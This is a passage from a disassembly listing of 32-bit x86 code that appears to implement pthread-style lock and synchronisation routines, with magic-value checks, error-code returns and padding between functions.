		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_433CB5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_433CB0
		cmp	eax, 2
		jg	short loc_433CB0
		test	eax, eax
		jz	short loc_433C9C
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C9C:				; CODE XREF: sub_433C70+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433CB0:				; CODE XREF: sub_433C70+1Aj
					; sub_433C70+1Fj
		mov	eax, 16h


loc_433CB5:				; CODE XREF: sub_433C70+12j
		pop	esi
		retn
sub_433C70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433CE0	proc near		; CODE XREF: sub_4020D1j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	loc_433D85
		push	edi
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433D85
		cmp	esi, 0FFFFFFF1h
		jle	short loc_433D20
		cmp	esi, 0FFFFFFFEh
		jge	short loc_433D20
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_433D32
; ---------------------------------------------------------------------------


loc_433D20:				; CODE XREF: sub_433CE0+2Fj
					; sub_433CE0+34j
		cmp	esi, 0Fh
		jge	short loc_433D32
		cmp	esi, 2
		jle	short loc_433D32
		mov	[esp+8+arg_8], 2


loc_433D32:				; CODE XREF: sub_433CE0+3Ej
					; sub_433CE0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_433D7E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 2750CBDh
		nop
		test	eax, eax
		jnz	short loc_433D72
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
